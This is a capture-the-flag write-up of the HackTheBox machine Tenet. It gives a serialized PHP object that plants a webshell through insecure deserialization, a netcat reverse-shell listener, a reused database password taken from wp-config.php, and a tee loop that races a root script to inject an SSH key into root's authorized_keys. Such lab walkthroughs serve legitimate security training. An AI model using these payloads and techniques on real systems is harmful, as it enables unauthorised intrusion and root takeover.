Tenet is a medium rated machine on HackTheBox created by egotisticalSW. For the user part we will find a backup php script and abuse the php unserialze function to reach RCE on the webserver resulting in a reverse shell. Next we find database credentials, with wich we can switch to the user Neil. Finally we will exploit a race condition in a bash script we are able to run as root to write our public ssh key to rootโs authorized ssh keys.
User
Nmap
We start our enumeration off with a full port nmap scan, followed by a script and version scan to get a full picture of the attack surface.
Ininital scan all ports
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.129.130.37
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 13:42 CEST
Nmap scan report for 10.129.130.37
Host is up (0.026s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 77.11 seconds
Version and script scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -p 22,80 -sC -sV 10.129.130.37
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 13:45 CEST
Nmap scan report for 10.129.130.37
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.46 seconds
Backup file
The webpage just shows the default apache page, however gobuster reveals a wordpress installation.
1
2
3
4
5
6
7
8
9
10
11
12
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://10.129.130.37/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.130.37/
[+] Method: GET
...[snip]...
/. (Status: 200) [Size: 10918]
/wordpress (Status: 301) [Size: 318] [--> http://10.129.130.37/wordpress/]
/.htaccess (Status: 403) [Size: 278]
...[snip]...
The wordpress installation works with absolute urlโs, so we have to add the hostname tenet.htb
to our hosts file.
On the migration blogpost there is a comment mentioning a sator.php file and a possible backup.
Navigating to http://[machine-ip]/sator.php.bak
letโs us retrive the backup of the file
sator.php.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
Insecure Deserialization
The retrieved code takes user input and passes it to the unserialize function. We want to abuse this with creating our own serialized DatabaseExport instance.
The DatabaseExport class creates a new file with the content of itโs data
attribute on destruction. Controlling both the filename and the data, we can simply write a small webshell to the server with the following code.
1
2
3
4
5
6
7
8
9
10
<?php
class DatabaseExport
{
public $user_file = 'grem.php';
public $data = '<?php system($_REQUEST["cmd"]); ?>';
}
print serialize(new DatabaseExport);
?>
1
2
$ php ser.php
O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"grem.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
We send the serialized object urlencoded to the endpoint with burp repeater and get RCE in the next request.
First we set up out listener to catch the reverse shell.
1
2
3
4
$ sudo nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Then with the next request, we get a bash reverse shell in burp from our webshell, recieve a connection back and upgrade our shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.130.37.
Ncat: Connection from 10.129.130.37:42450.
bash: cannot set terminal process group (1729): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@tenet:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@tenet:/var/www/html$ ^Z
[1]+ Stopped sudo nc -lnvp 443
$ stty raw -echo;fg
sudo nc -lnvp 443
www-data@tenet:/var/www/html$
www-data@tenet:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@tenet:/var/www/html$
Database Credentials
On the machine there are database credentials in the file /var/www/html/wordpress/wp-config.php
which are also reused as the users account credentials, so we can pick up our first flag.
1
2
3
4
5
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
1
2
3
4
5
6
www-data@tenet:/var/www/html/wordpress$ su neil
Password:
neil@tenet:/var/www/html/wordpress$ cd
neil@tenet:~$ ls
user.txt
neil@tenet:~$
Root
Race condition
We immediatly see that Neil may run a custom bash script as root.
1
2
3
4
5
6
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
Investigating this script there is a race condition in the mktmp
function. It first creates a temporary file with half of the name being predictable and setโs the umask in a second statement. Generating enough traffic to get our function executed between the tmpName
and the umask
call. We can write our own ssh public key to rootโs authorized keys
enableSSH.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
We do this by running an endless loop twice to have higher chances on winning the race.
1
while true; do echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDPzAealaGxA+uOu9rWuLLr9jqcvzXl5tQsi9G9i1R4gZOrmK1QqTZ/wxMUmsrck1nawr1qZyrP10jHf9ivE9hFP31ppgJPHHwP8gsL2jLnlLXRz5dziKIQYiv5K2rgflmaj8gkItD07SajveFfFnyc9a+qYuJ5x1/ov6KUYwQAmphcckGqThXOOSfudrzmWzbgjjLhpEvfWBHPSGf1jkHf8xxq6BRmgxOCwgze3DJJxhhwHX9TuchqgEXuklgsPuMSdAq1q7oPcrYJ8KVkWbR3mdoBoifXgM4NFPTqBdIEAUIxhL7zHiVMsFjNGtiF8rJSP0PgU3f1lIt/H1mmrb1pzAnEaOw0ysWA4ned7HqCaWdjiEEnftcqPTH2sQscMv4KfaqvVyFe+35NcUiJspdhMS3fTXsObgG+AJeIeO65gaEBs3MgZ14R2Q/wzQEA6SaqJjIj1vXMUuW9m5FjWtDnTYU4/9sVOtVwCJl2oikJW9Ywkhob95XRBIeEkPlSgk= jack@parrot' | tee -a /tmp/ssh* ;done
While the loops are running we execute the script as root, note here that because of the nature of the race condition you might have to repeat this request. To increase the chance you could e.g. run more of the above loops.
It is furthermore no indication that the script failed if it prints Successfully added root@ubuntu to authorized_keys file!
, because it uses the predefined key to echo to stdout.
1
2
3
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$
Now we can log into the machine with our private key as the root user and grab the root flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ssh -i root root@tenet.htb
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Apr 13 13:52:10 UTC 2021
System load: 1.75 Processes: 202
Usage of /: 15.8% of 22.51GB Users logged in: 1
Memory usage: 18% IP address for ens160: 10.129.130.37
Swap usage: 0%
53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Apr 13 13:45:53 2021 from 10.10.14.18
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenet:~# wc -c /root/root.txt
33 /root/root.txt
root@tenet:~#